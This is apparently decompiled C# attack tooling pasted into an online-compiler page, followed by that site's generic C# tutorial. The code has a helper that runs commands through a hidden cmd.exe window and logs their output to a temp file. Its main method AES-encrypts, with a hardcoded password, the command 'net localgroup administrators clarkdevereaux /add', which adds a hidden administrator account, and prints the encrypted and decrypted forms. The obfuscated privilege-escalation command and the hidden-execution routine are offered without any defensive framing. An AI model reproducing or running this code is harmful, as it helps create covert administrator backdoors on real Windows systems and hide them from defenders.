using System;
using System.IO;
using System.Security.Cryptography;
using System.Diagnostics;
using System.Text;
// Token: 0x02000003 RID: 3
internal class Program
{
// Token: 0x06000004 RID: 4 RVA: 0x0000228C File Offset: 0x0000048C
private static void run(string command)
{
new Process
{
StartInfo = new ProcessStartInfo
{
WindowStyle = ProcessWindowStyle.Hidden,
FileName = "cmd.exe",
Arguments = "/C " + command + " >> C:\\Temp\\nohands"
}
}.Start();
}
// Token: 0x06000005 RID: 5 RVA: 0x000022E0 File Offset: 0x000004E0
public static void Main(string[] args)
{
try
{
byte[] bytesToBeEnrypted = Encoding.UTF8.GetBytes("net localgroup administrators clarkdevereaux /add");
byte[] passwordBytes = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes("G00n13sN3v3rS4yD13!"));
byte[] buffer = Encrypt.AES_Encrypt(bytesToBeEnrypted, passwordBytes);
StreamReader streamReader = new StreamReader(new MemoryStream(buffer));
string data = streamReader.ReadLine();
string base64data = System.Convert.ToBase64String(buffer);
Console.WriteLine("Encrypted Data in base64: "+base64data);
byte[] bytesToBeDecrypted = System.Convert.FromBase64String(base64data);
byte[] buffer1 = Encrypt.AES_Decrypt(bytesToBeDecrypted, passwordBytes);
StreamReader streamReader1 = new StreamReader(new MemoryStream(buffer1));
string data1 = streamReader1.ReadLine();
Console.WriteLine("Decrypted Data: "+data1);
}
catch (Exception ex)
{
Console.WriteLine(ex.ToString());
}
}
}
// Token: 0x02000002 RID: 2
public class Encrypt
{
// Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
public static byte[] AES_Encrypt(byte[] bytesToBeEncrypted, byte[] passwordBytes)
{
byte[] result = null;
byte[] salt = new byte[]
{
1,
2,
3,
4,
5,
6,
7,
8
};
using (MemoryStream memoryStream = new MemoryStream())
{
using (RijndaelManaged rijndaelManaged = new RijndaelManaged())
{
rijndaelManaged.KeySize = 256;
rijndaelManaged.BlockSize = 128;
Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(passwordBytes, salt, 1000);
rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8);
rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.BlockSize / 8);
rijndaelManaged.Mode = CipherMode.CBC;
using (CryptoStream cryptoStream = new CryptoStream(memoryStream, rijndaelManaged.CreateEncryptor(), CryptoStreamMode.Write))
{
cryptoStream.Write(bytesToBeEncrypted, 0, bytesToBeEncrypted.Length);
cryptoStream.Close();
}
result = memoryStream.ToArray();
}
}
return result;
}
// Token: 0x06000002 RID: 2 RVA: 0x00002164 File Offset: 0x00000364
public static byte[] AES_Decrypt(byte[] bytesToBeDecrypted, byte[] passwordBytes)
{
byte[] result = null;
byte[] salt = new byte[]
{
1,
2,
3,
4,
5,
6,
7,
8
};
using (MemoryStream memoryStream = new MemoryStream())
{
using (RijndaelManaged rijndaelManaged = new RijndaelManaged())
{
rijndaelManaged.KeySize = 256;
rijndaelManaged.BlockSize = 128;
Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(passwordBytes, salt, 1000);
rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8);
rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.BlockSize / 8);
rijndaelManaged.Mode = CipherMode.CBC;
rijndaelManaged.Padding = PaddingMode.PKCS7;
using (CryptoStream cryptoStream = new CryptoStream(memoryStream, rijndaelManaged.CreateDecryptor(), CryptoStreamMode.Write))
{
cryptoStream.Write(bytesToBeDecrypted, 0, bytesToBeDecrypted.Length);
cryptoStream.Close();
}
result = memoryStream.ToArray();
}
}
return result;
}
} Write, Run & Share C# code online using OneCompiler's C# online compiler for free. It's one of the robust, feature-rich online compilers for C# language, running on the latest version 8.0. Getting started with the OneCompiler's C# compiler is simple and pretty fast. The editor shows sample boilerplate code when you choose language as C# and start coding.
OneCompiler's C# online compiler supports stdin and users can give inputs to programs using the STDIN textbox under the I/O tab. Following is a sample program which takes name as input and print your name with hello.
using System;
namespace Sample
{
class Test
{
public static void Main(string[] args)
{
string name;
name = Console.ReadLine();
Console.WriteLine("Hello {0} ", name);
}
}
}
C# is a general purpose object-oriented programming language by Microsoft. Though initially it was developed as part of .net but later it was approved by ECMA and ISO standards.
You can use C# to create variety of applications, like web, windows, mobile, console applications and much more using Visual studio.
| Data Type | Description | Range | size |
|---|---|---|---|
| int | To store integers | -2,147,483,648 to 2,147,483,647 | 4 bytes |
| double | to store large floating point numbers with decimals | can store 15 decimal digits | 8 bytes |
| float | to store floating point numbers with decimals | can store upto 7 decimal digits | 4 bytes |
| char | to store single characters | - | 2 bytes |
| string | to stores text | - | 2 bytes per character |
| bool | to stores either true or false | - | 1 bit |
datatype variable-name = value;
When ever you want to perform a set of operations based on a condition or set of few conditions IF-ELSE is used.
if(conditional-expression) {
// code
}
else {
// code
}
You can also use if-else for nested Ifs and If-Else-If ladder when multiple conditions are to be performed on a single variable.
Switch is an alternative to If-Else-If ladder.
switch(conditional-expression) {
case value1:
// code
break; // optional
case value2:
// code
break; // optional
...
default:
// code to be executed when all the above cases are not matched;
}
For loop is used to iterate a set of statements based on a condition.
for(Initialization; Condition; Increment/decrement) {
// code
}
While is also used to iterate a set of statements based on a condition. Usually while is preferred when number of iterations are not known in advance.
while(condition) {
// code
}
Do-while is also used to iterate a set of statements based on a condition. It is mostly used when you need to execute the statements atleast once.
do {
// code
} while (condition);
Array is a collection of similar data which is stored in continuous memory addresses. Array values can be fetched using index. Index starts from 0 to size-1.
data-type[] array-name;
Method is a set of statements which gets executed only when they are called. Call the method name in the main function to execute the method.
static void method-name()
{
// code to be executed
}